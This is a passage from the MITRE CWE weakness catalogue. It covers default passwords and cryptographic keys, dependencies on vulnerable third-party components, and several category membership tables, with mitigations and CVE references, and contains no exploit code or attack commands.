**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Authentication	Gain Privileges or Assume Identity	

### Potential Mitigations

#### Phase: Requirements

Prohibit use of default, hard-coded, or other values that do not vary for each installation of the product - especially for separate organizations.

*Effectiveness = High*

#### Phase: Architecture and Design

Force the administrator to change the credential upon installation.

*Effectiveness = High*

#### Phase: Installation

#### Phase: Operation

The product administrator could change the defaults upon installation or during operation.

*Effectiveness = Moderate*

### Demonstrative Examples

#### Example 1:

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

At least one OT product used default credentials.

### Observed Examples

Reference	Description
<b>CVE-2022-30270</b>	Remote Terminal Unit (RTU) uses default credentials for some SSH accounts <a href="https://www.cve.org/CVERecord?id=CVE-2022-30270">https://www.cve.org/CVERecord?id=CVE-2022-30270</a>
<b>CVE-2021-41192</b>	data visualization/sharing package uses default secret keys or cookie values if they are not specified in environment variables <a href="https://www.cve.org/CVERecord?id=CVE-2021-41192">https://www.cve.org/CVERecord?id=CVE-2021-41192</a>
<b>CVE-2021-38759</b>	microcontroller board has default password

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2021-38759">https://www.cve.org/CVERecord?id=CVE-2021-38759</a>
<b>CVE-2010-2306</b>	Intrusion Detection System (IDS) uses the same static, private SSL keys for multiple devices and installations, allowing decryption of SSL traffic <a href="https://www.cve.org/CVERecord?id=CVE-2010-2306">https://www.cve.org/CVERecord?id=CVE-2010-2306</a>

### References

[REF-1283]Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022 June 0. < <https://www.forescout.com/resources/ot-icefall-report/> >.

## CWE-1393: Use of Default Password

**Weakness ID** : 1393  
**Structure** : Simple  
**Abstraction** : Base

### Description

The product uses default passwords for potentially critical functionality.

### Extended Description

It is common practice for products to be designed to use default passwords for authentication. The rationale is to simplify the manufacturing process or the system administrator's task of installation and deployment into an enterprise. However, if admins do not change the defaults, then it makes it easier for attackers to quickly bypass authentication across multiple organizations. There are many lists of default passwords and default-password scanning tools that are easily available from the World Wide Web.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1392	Use of Default Credentials	2091

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

**Technology** : ICS/OT (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Authentication	Gain Privileges or Assume Identity	

### Potential Mitigations

#### Phase: Requirements

Prohibit use of default, hard-coded, or other values that do not vary for each installation of the product - especially for separate organizations.

*Effectiveness = High*

**Phase: Documentation**

Ensure that product documentation clearly emphasizes the presence of default passwords and provides steps for the administrator to change them.

*Effectiveness = Limited*

**Phase: Architecture and Design**

Force the administrator to change the credential upon installation.

*Effectiveness = High*

**Phase: Installation**

**Phase: Operation**

The product administrator could change the defaults upon installation or during operation.

*Effectiveness = Moderate*

**Demonstrative Examples**

**Example 1:**

In 2022, the OT:ICEFALL study examined products by 10 different Operational Technology (OT) vendors. The researchers reported 56 vulnerabilities and said that the products were "insecure by design" [REF-1283]. If exploited, these vulnerabilities often allowed adversaries to change how the products operated, ranging from denial of service to changing the code that the products executed. Since these products were often used in industries such as power, electrical, water, and others, there could even be safety implications.

Multiple OT products used default credentials.

**Observed Examples**

Reference	Description
<b>CVE-2022-30270</b>	Remote Terminal Unit (RTU) uses default credentials for some SSH accounts <a href="https://www.cve.org/CVERecord?id=CVE-2022-30270">https://www.cve.org/CVERecord?id=CVE-2022-30270</a>
<b>CVE-2022-2336</b>	OPC Unified Architecture (OPC UA) industrial automation product has a default password <a href="https://www.cve.org/CVERecord?id=CVE-2022-2336">https://www.cve.org/CVERecord?id=CVE-2022-2336</a>
<b>CVE-2021-38759</b>	microcontroller board has default password <a href="https://www.cve.org/CVERecord?id=CVE-2021-38759">https://www.cve.org/CVERecord?id=CVE-2021-38759</a>
<b>CVE-2021-44480</b>	children's smart watch has default passwords allowing attackers to send SMS commands and listen to the device's surroundings <a href="https://www.cve.org/CVERecord?id=CVE-2021-44480">https://www.cve.org/CVERecord?id=CVE-2021-44480</a>
<b>CVE-2020-11624</b>	surveillance camera has default password for the admin account <a href="https://www.cve.org/CVERecord?id=CVE-2020-11624">https://www.cve.org/CVERecord?id=CVE-2020-11624</a>
<b>CVE-2018-15719</b>	medical dental records product installs a MySQL database with a blank default password <a href="https://www.cve.org/CVERecord?id=CVE-2018-15719">https://www.cve.org/CVERecord?id=CVE-2018-15719</a>
<b>CVE-2014-9736</b>	healthcare system for archiving patient images has default passwords for key management and storage databases <a href="https://www.cve.org/CVERecord?id=CVE-2014-9736">https://www.cve.org/CVERecord?id=CVE-2014-9736</a>
<b>CVE-2000-1209</b>	database product installs admin account with default null password, allowing privileges, as exploited by various worms <a href="https://www.cve.org/CVERecord?id=CVE-2000-1209">https://www.cve.org/CVERecord?id=CVE-2000-1209</a>

**MemberOf Relationships**

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf		1376	ICS Engineering (Construction/Deployment): Security Gaps in Commissioning		1358 2303

## References

[REF-1283]Forescout Vedere Labs. "OT:ICEFALL: The legacy of "insecure by design" and its implications for certifications and risk management". 2022 June 0. < <https://www.forescout.com/resources/ot-icefall-report/> >.

[REF-1303]Kelly Jackson Higgins. "Researchers Out Default Passwords Packaged With ICS/SCADA Wares". 2016 January 4. < <https://www.darkreading.com/endpoint/researchers-out-default-passwords-packaged-with-ics-scada-wares> >.2022-10-11.

## CWE-1394: Use of Default Cryptographic Key

**Weakness ID** : 1394

**Structure** : Simple

**Abstraction** : Base

### Description

The product uses a default cryptographic key for potentially critical functionality.

### Extended Description

It is common practice for products to be designed to use default keys. The rationale is to simplify the manufacturing process or the system administrator's task of installation and deployment into an enterprise. However, if admins do not change the defaults, it is easier for attackers to bypass authentication quickly across multiple organizations.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		1392	Use of Default Credentials	2091

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Authentication	Gain Privileges or Assume Identity	

### Potential Mitigations

**Phase:** Requirements

Prohibit use of default, hard-coded, or other values that do not vary for each installation of the product - especially for separate organizations.

*Effectiveness = High*

#### Phase: Architecture and Design

Force the administrator to change the credential upon installation.

*Effectiveness = High*

#### Phase: Installation

#### Phase: Operation

The product administrator could change the defaults upon installation or during operation.

*Effectiveness = Moderate*

#### Observed Examples

Reference	Description
<b>CVE-2018-3825</b>	cloud cluster management product has a default master encryption key <a href="https://www.cve.org/CVERecord?id=CVE-2018-3825">https://www.cve.org/CVERecord?id=CVE-2018-3825</a>
<b>CVE-2016-1561</b>	backup storage product has a default SSH public key in the authorized_keys file, allowing root access <a href="https://www.cve.org/CVERecord?id=CVE-2016-1561">https://www.cve.org/CVERecord?id=CVE-2016-1561</a>
<b>CVE-2010-2306</b>	Intrusion Detection System (IDS) uses the same static, private SSL keys for multiple devices and installations, allowing decryption of SSL traffic <a href="https://www.cve.org/CVERecord?id=CVE-2010-2306">https://www.cve.org/CVERecord?id=CVE-2010-2306</a>

## CWE-1395: Dependency on Vulnerable Third-Party Component

**Weakness ID** : 1395

**Structure** : Simple

**Abstraction** : Class

#### Description

The product has a dependency on a third-party component that contains one or more known vulnerabilities.

#### Extended Description

Many products are large enough or complex enough that part of their functionality uses libraries, modules, or other intellectual property developed by third parties who are not the product creator. For example, even an entire operating system might be from a third-party supplier in some hardware products. Whether open or closed source, these components may contain publicly known vulnerabilities that could be exploited by adversaries to compromise the product.

#### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		657	Violation of Secure Design Principles	1361

#### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality Integrity Availability	Varies by Context  <i>The consequences vary widely, depending on the vulnerabilities that exist in the component; how those vulnerabilities can be "reached" by adversaries, as the exploitation paths and attack surface will vary depending on how the component is used; and the criticality of the privilege levels and features for which the product relies on the component.</i>	

### Detection Methods

#### Automated Analysis

For software, use Software Composition Analysis (SCA) tools, which automatically analyze products to identify third-party dependencies. Often, SCA tools can be used to link with known vulnerabilities in the dependencies that they detect. There are commercial and open-source alternatives, such as OWASP Dependency-Check [REF-1312]. Many languages or frameworks have package managers with similar capabilities, such as npm audit for JavaScript, pip-audit for Python, govulncheck for Go, and many others. Dynamic methods can detect loading of third-party components.

*Effectiveness = High*

*Software Composition Analysis (SCA) tools face a number of technical challenges that can lead to false positives and false negatives. Dynamic methods have other technical challenges.*

### Potential Mitigations

#### Phase: Requirements

#### Phase: Policy

In some industries such as healthcare [REF-1320] [REF-1322] or technologies such as the cloud [REF-1321], it might be unclear about who is responsible for applying patches for third-party vulnerabilities: the vendor, the operator/customer, or a separate service. Clarifying roles and responsibilities can be important to minimize confusion or unnecessary delay when third-party vulnerabilities are disclosed.

#### Phase: Requirements

Require a Bill of Materials for all components and sub-components of the product. For software, require a Software Bill of Materials (SBOM) [REF-1247] [REF-1311].

#### Phase: Architecture and Design

#### Phase: Implementation

#### Phase: Integration

#### Phase: Manufacturing

Maintain a Bill of Materials for all components and sub-components of the product. For software, maintain a Software Bill of Materials (SBOM). According to [REF-1247], "An SBOM is a formal, machine-readable inventory of software components and dependencies, information about those components, and their hierarchical relationships."

#### Phase: Operation



**Phase: Patching and Maintenance**

Actively monitor when a third-party component vendor announces vulnerability patches; fix the third-party component as soon as possible; and make it easy for operators/customers to obtain and apply the patch.

**Phase: Operation****Phase: Patching and Maintenance**

Continuously monitor changes in each of the product's components, especially when the changes indicate new vulnerabilities, end-of-life (EOL) plans, etc.

**Demonstrative Examples****Example 1:**

The "SweynTooth" vulnerabilities in Bluetooth Low Energy (BLE) software development kits (SDK) were found to affect multiple Bluetooth System-on-Chip (SoC) manufacturers. These SoCs were used by many products such as medical devices, Smart Home devices, wearables, and other IoT devices. [REF-1314] [REF-1315]

**Example 2:**

log4j, a Java-based logging framework, is used in a large number of products, with estimates in the range of 3 billion affected devices [REF-1317]. When the "log4shell" (CVE-2021-44228) vulnerability was initially announced, it was actively exploited for remote code execution, requiring urgent mitigation in many organizations. However, it was unclear how many products were affected, as Log4j would sometimes be part of a long sequence of transitive dependencies. [REF-1316]

**References**

[REF-1313]Jeff Williams, Arshan Dabirsiaghi. "The Unfortunate Reality of Insecure Libraries". 2014. < <https://owasp.org/www-project-dependency-check/> >.2023-01-25.

[REF-1212]"A06:2021 - Vulnerable and Outdated Components". 2021 September 4. OWASP. < [https://owasp.org/Top10/A06\\_2021-Vulnerable\\_and\\_Outdated\\_Components/](https://owasp.org/Top10/A06_2021-Vulnerable_and_Outdated_Components/) >.

[REF-1247]NTIA Multistakeholder Process on Software Component Transparency Framing Working Group. "Framing Software Component Transparency: Establishing a Common Software Bill of Materials (SBOM)". 2021 October 1. < [https://www.ntia.gov/files/ntia/publications/ntia\\_sbom\\_framing\\_2nd\\_edition\\_20211021.pdf](https://www.ntia.gov/files/ntia/publications/ntia_sbom_framing_2nd_edition_20211021.pdf) >.

[REF-1311]Amélie Koran, Wendy Nather, Stewart Scott, Sara Ann Brackett. "The Cases for Using the SBOMs We Build". 2022 November. < [https://www.atlanticcouncil.org/wp-content/uploads/2022/11/AC\\_SBOM\\_IB\\_v2-002.pdf](https://www.atlanticcouncil.org/wp-content/uploads/2022/11/AC_SBOM_IB_v2-002.pdf) >.2023-01-25.

[REF-1312]OWASP. "OWASP Dependency-Check". < <https://owasp.org/www-project-dependency-check/> >.2023-01-25.

[REF-1314]ICS-CERT. "ICS Alert (ICS-ALERT-20-063-01): SweynTooth Vulnerabilities". 2020 March 4. < <https://www.cisa.gov/uscert/ics/alerts/ics-alert-20-063-01> >.2023-01-25.

[REF-1315]Matheus E. Garbelini, Sudipta Chattopadhyay, Chundong Wang, Singapore University of Technology and Design. "Unleashing Mayhem over Bluetooth Low Energy". 2020 March 4. < <https://asset-group.github.io/disclosures/sweyntooth/> >.2023-01-25.

[REF-1316]CISA. "Alert (AA21-356A): Mitigating Log4Shell and Other Log4j-Related Vulnerabilities". 2021 December 2. < <https://www.cisa.gov/uscert/ncas/alerts/aa21-356a> >.2023-01-26.

[REF-1317]SC Media. "What Log4Shell taught us about application security, and how to respond now". 2022 July 5. < <https://www.scmagazine.com/resource/application-security/what-log4shell-taught-us-about-appsec-and-how-to-respond> >.2023-01-26.

[REF-1320]Ali Youssef. "A Framework for a Medical Device Security Program at a Healthcare Delivery Organization". 2022 August 8. < <https://array.aami.org/content/news/framework-medical-device-security-program-healthcare-delivery-organization> >.2023-01-28.

[REF-1321]Cloud Security Alliance. "Shared Responsibility Model Explained". 2020 August 6. < <https://cloudsecurityalliance.org/blog/2020/08/26/shared-responsibility-model-explained/> >.2023-01-28.

[REF-1322]Melissa Chase, Steven Christey Coley, Julie Connolly, Ronnie Daldos, Margie Zuk. "Medical Device Cybersecurity Regional Incident Preparedness and Response Playbook". 2022 November 4. < <https://www.mitre.org/news-insights/publication/medical-device-cybersecurity-regional-incident-preparedness-and-response> >.2023-01-28.

## Categories

### Category-2: 7PK - Environment

Category ID : 2

#### Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that are typically introduced during unexpected environmental conditions. According to the authors of the Seven Pernicious Kingdoms, "This section includes everything that is outside of the source code but is still critical to the security of the product that is being created. Because the issues covered by this kingdom are not directly related to source code, we separated it from the rest of the kingdoms."

#### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	700	Seven Pernicious Kingdoms	700	2317
MemberOf	C	933	OWASP Top Ten 2013 Category A5 - Security Misconfiguration	928	2184
MemberOf	C	1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2286
HasMember	V	5	J2EE Misconfiguration: Data Transmission Without Encryption	700	1
HasMember	V	6	J2EE Misconfiguration: Insufficient Session-ID Length	700	2
HasMember	V	7	J2EE Misconfiguration: Missing Custom Error Page	700	4
HasMember	V	8	J2EE Misconfiguration: Entity Bean Declared Remote	700	6
HasMember	V	9	J2EE Misconfiguration: Weak Access Permissions for EJB Methods	700	7
HasMember	V	11	ASP.NET Misconfiguration: Creating Debug Binary	700	9
HasMember	V	12	ASP.NET Misconfiguration: Missing Custom Error Page	700	11
HasMember	V	13	ASP.NET Misconfiguration: Password in Configuration File	700	12
HasMember	V	14	Compiler Removal of Code to Clear Buffers	700	14

#### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/](https://samate.nist.gov/SSATTM_Content/)

papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security  
%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf >.

## Category-16: Configuration

Category ID : 16

### Summary

Weaknesses in this category are typically introduced during the configuration of the software.

### Membership

Nature	Type	ID	Name		Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2311
MemberOf	C	933	OWASP Top Ten 2013 Category A5 - Security Misconfiguration	928	2184
MemberOf	C	1032	OWASP Top Ten 2017 Category A6 - Security Misconfiguration	1026	2231
MemberOf	C	1349	OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration	1344	2286

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	14		Server Misconfiguration
WASC	15		Application Misconfiguration

### Notes

#### Mapping

Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities). Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1287]. This CWE entry may have become widely-used because of NIST's usage in NVD from 2008 to 2016 (see CWE-635 view, updated to the CWE-1003 view in 2016). Mapping is also Prohibited because this entry's status is Obsolete. Comments: As of CWE 4.9, "Configuration" is beginning to be treated as an aspect of the SDLC in which a product is directed (by a human or automated process) to perform an insecure behavior. CWE mapping should be conducted by analyzing the weakness in the behavior that has been set by the configuration, such as those related to access control (descendants of CWE-284) or resource management (CWE-400), etc.

#### Maintenance

Further discussion about this category was held over the CWE Research mailing list in early 2020. No definitive action has been decided.

#### Maintenance

This entry is a Category, but various sources map to it anyway, despite CWE guidance that Categories should not be mapped. In this case, there are no clear CWE Weaknesses that can be utilized. "Inappropriate Configuration" sounds more like a Weakness in CWE's style, but it still does not indicate actual behavior of the product. Further research is still required, however, as a "configuration weakness" might be Primary to many other CWEs, i.e., it might be better described in terms of chaining relationships.

### References

[REF-1287]MITRE. "Supplemental Details - 2022 CWE Top 25". 2022 June 8. < [https://cwe.mitre.org/top25/archive/2022/2022\\_cwe\\_top25\\_supplemental.html#problematicMappingDetails](https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails) >.

## Category-19: Data Processing Errors

Category ID : 19

### Summary

Weaknesses in this category are typically found in functionality that processes data. Data processing is the manipulation of input to retrieve or save information.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
HasMember	B	130	Improper Handling of Length Parameter Inconsistency	699	336
HasMember	B	166	Improper Handling of Missing Special Element	699	406
HasMember	B	167	Improper Handling of Additional Special Element	699	408
HasMember	B	168	Improper Handling of Inconsistent Special Elements	699	409
HasMember	B	178	Improper Handling of Case Sensitivity	699	427
HasMember	B	182	Collapse of Data into Unsafe Value	699	437
HasMember	B	186	Overly Restrictive Regular Expression	699	447
HasMember	B	229	Improper Handling of Values	699	542
HasMember	B	233	Improper Handling of Parameters	699	546
HasMember	B	237	Improper Handling of Structural Elements	699	552
HasMember	B	241	Improper Handling of Unexpected Data Type	699	555
HasMember	B	409	Improper Handling of Highly Compressed Data (Data Amplification)	699	943
HasMember	B	471	Modification of Assumed-Immutable Data (MAID)	699	1060
HasMember	B	472	External Control of Assumed-Immutable Web Parameter	699	1062
HasMember	B	601	URL Redirection to Untrusted Site ('Open Redirect')	699	1266
HasMember	B	611	Improper Restriction of XML External Entity Reference	699	1286
HasMember	B	624	Executable Regular Expression Error	699	1308
HasMember	B	625	Permissive Regular Expression	699	1309
HasMember	B	776	Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')	699	1521
HasMember	B	1024	Comparison of Incompatible Types	699	1733

## Category-133: String Errors

Category ID : 133

### Summary

Weaknesses in this category are related to the creation and modification of strings.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315

Nature	Type	ID	Name	V	Page
HasMember	B	134	Use of Externally-Controlled Format String	699	349
HasMember	B	135	Incorrect Calculation of Multi-Byte String Length	699	355
HasMember	V	597	Use of Wrong Operator in String Comparison	699	1258

## Category-136: Type Errors

Category ID : 136

### Summary

Weaknesses in this category are caused by improper data type transformation or improper handling of multiple data types.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
HasMember	B	681	Incorrect Conversion between Numeric Types	699	1400
HasMember	B	843	Access of Resource Using Incompatible Type ('Type Confusion')	699	1654

## Category-137: Data Neutralization Issues

Category ID : 137

### Summary

Weaknesses in this category are related to the creation or neutralization of data using an incorrect format.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
HasMember	B	76	Improper Neutralization of Equivalent Special Elements	699	139
HasMember	B	78	Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')	699	147
HasMember	B	79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')	699	159
HasMember	B	88	Improper Neutralization of Argument Delimiters in a Command ('Argument Injection')	699	188
HasMember	B	89	Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')	699	195
HasMember	B	90	Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')	699	207
HasMember	B	91	XML Injection (aka Blind XPath Injection)	699	209
HasMember	B	93	Improper Neutralization of CRLF Sequences ('CRLF Injection')	699	211
HasMember	B	94	Improper Control of Generation of Code ('Code Injection')	699	213
HasMember	B	96	Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')	699	225
HasMember	B	117	Improper Output Neutralization for Logs	699	279

Nature	Type	ID	Name	V	Page
HasMember	B	140	Improper Neutralization of Delimiters	699	360
HasMember	B	170	Improper Null Termination	699	411
HasMember	B	188	Reliance on Data/Memory Layout	699	451
HasMember	B	462	Duplicate Key in Associative List (Alist)	699	1043
HasMember	B	463	Deletion of Data Structure Sentinel	699	1045
HasMember	B	464	Addition of Data Structure Sentinel	699	1047
HasMember	B	641	Improper Restriction of Names for Files and Other Resources	699	1329
HasMember	B	643	Improper Neutralization of Data within XPath Expressions ('XPath Injection')	699	1336
HasMember	B	652	Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')	699	1351
HasMember	B	791	Incomplete Filtering of Special Elements	699	1564
HasMember	B	795	Only Filtering Special Elements at a Specified Location	699	1569
HasMember	B	838	Inappropriate Encoding for Output Context	699	1641
HasMember	B	917	Improper Neutralization of Special Elements used in an Expression Language Statement ('Expression Language Injection')	699	1692
HasMember	B	1236	Improper Neutralization of Formula Elements in a CSV File	699	1865

## Category-189: Numeric Errors

Category ID : 189

### Summary

Weaknesses in this category are related to improper calculation or conversion of numbers.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2311
MemberOf	V	699	Software Development	699	2315
MemberOf	C	1182	SEI CERT Perl Coding Standard - Guidelines 04. Integers (INT)	1178	2260
HasMember	B	128	Wrap-around Error	699	324
HasMember	B	190	Integer Overflow or Wraparound	699	453
HasMember	B	191	Integer Underflow (Wrap or Wraparound)	699	460
HasMember	V	192	Integer Coercion Error	699	463
HasMember	B	193	Off-by-one Error	699	466
HasMember	B	197	Numeric Truncation Error	699	479
HasMember	B	198	Use of Incorrect Byte Ordering	699	483
HasMember	B	369	Divide By Zero	699	865
HasMember	B	681	Incorrect Conversion between Numeric Types	699	1400
HasMember	B	839	Numeric Range Comparison Without Minimum Check	699	1644
HasMember	V	1077	Floating Point Comparison with Incorrect Operator	699	1778
HasMember	B	1339	Insufficient Precision or Accuracy of a Real Number	699	2064
HasMember	B	1389	Incorrect Parsing of Numbers with Different Radices	699	2084

### Taxonomy Mappings



Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
SEI CERT Perl Coding Standard	INT01-PL	CWE More Abstract	Use small integers when precise computation is required

## Notes

### Mapping

Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).  
 Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019. Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1287]. This CWE ID may have become widely-used because of NIST's usage in NVD from 2008 to 2016 (see CWE-635 view, updated to the CWE-1003 view in 2016).  
 Comments: Most number-handling issues are probably descendants under Incorrect Calculation (CWE-682) or Incorrect Conversion between Numeric Types (CWE-681).

## References

[REF-1287]MITRE. "Supplemental Details - 2022 CWE Top 25". 2022 June 8. < [https://cwe.mitre.org/top25/archive/2022/2022\\_cwe\\_top25\\_supplemental.html#problematicMappingDetails](https://cwe.mitre.org/top25/archive/2022/2022_cwe_top25_supplemental.html#problematicMappingDetails) >.

## Category-199: Information Management Errors

Category ID : 199

## Summary

Weaknesses in this category are related to improper handling of sensitive information.

## Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	699	Software Development	699	2315
HasMember	B	201	Insertion of Sensitive Information Into Sent Data	699	493
HasMember	B	204	Observable Response Discrepancy	699	501
HasMember	B	205	Observable Behavioral Discrepancy	699	504
HasMember	B	208	Observable Timing Discrepancy	699	508
HasMember	B	209	Generation of Error Message Containing Sensitive Information	699	510
HasMember	B	212	Improper Removal of Sensitive Information Before Storage or Transfer	699	520
HasMember	B	213	Exposure of Sensitive Information Due to Incompatible Policies	699	523
HasMember	B	214	Invocation of Process Using Visible Sensitive Information	699	525
HasMember	B	215	Insertion of Sensitive Information Into Debugging Code	699	527
HasMember	B	312	Cleartext Storage of Sensitive Information	699	725
HasMember	B	319	Cleartext Transmission of Sensitive Information	699	740
HasMember	B	359	Exposure of Private Personal Information to an Unauthorized Actor	699	836
HasMember	B	497	Exposure of Sensitive System Information to an Unauthorized Control Sphere	699	1127
HasMember	B	524	Use of Cache Containing Sensitive Information	699	1163
HasMember	B	532	Insertion of Sensitive Information into Log File	699	1171
HasMember	B	540	Inclusion of Sensitive Information in Source Code	699	1180



Nature	Type	ID	Name	V	Page
HasMember	B	921	Storage of Sensitive Data in a Mechanism without Access Control	699	1697
HasMember	B	1230	Exposure of Sensitive Information Through Metadata	699	1855

## Category-227: 7PK - API Abuse

Category ID : 227

### Summary

This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that involve the software using an API in a manner contrary to its intended use. According to the authors of the Seven Pernicious Kingdoms, "An API is a contract between a caller and a callee. The most common forms of API misuse occurs when the caller does not honor its end of this contract. For example, if a program does not call `chdir()` after calling `chroot()`, it violates the contract that specifies how to change the active root directory in a secure fashion. Another good example of library abuse is expecting the callee to return trustworthy DNS information to the caller. In this case, the caller misuses the callee API by making certain assumptions about its behavior (that the return value can be used for authentication purposes). One can also violate the caller-callee contract from the other side. For example, if a coder subclasses `SecureRandom` and returns a non-random value, the contract is violated."

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	V	700	Seven Pernicious Kingdoms	700	2317
MemberOf	C	1001	SFP Secondary Cluster: Use of an Improper API	888	2213
HasMember	B	242	Use of Inherently Dangerous Function	700	557
HasMember	V	243	Creation of <code>chroot</code> Jail Without Changing Working Directory	700	559
HasMember	V	244	Improper Clearing of Heap Memory Before Release ('Heap Inspection')	700	561
HasMember	V	245	J2EE Bad Practices: Direct Management of Connections	700	563
HasMember	V	246	J2EE Bad Practices: Direct Use of Sockets	700	564
HasMember	B	248	Uncaught Exception	700	566
HasMember	B	250	Execution with Unnecessary Privileges	700	568
HasMember	C	251	Often Misused: String Management	700	2106
HasMember	B	252	Unchecked Return Value	700	575
HasMember	V	558	Use of <code>getlogin()</code> in Multithreaded Application	700	1199

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CERT C Secure Coding	WIN30-C	CWE More Abstract	Properly pair allocation and deallocation functions

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## Category-251: Often Misused: String Management

Category ID : 251

### Summary

Functions that manipulate strings encourage buffer overflows.

### Membership

Nature	Type	ID	Name	V	Page
MemberOf	C	227	7PK - API Abuse	700	2105
MemberOf	C	974	SFP Secondary Cluster: Incorrect Buffer Length Computation	888	2199

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Often Misused: Strings
Software Fault Patterns	SFP10		Incorrect Buffer Length Computation

### References

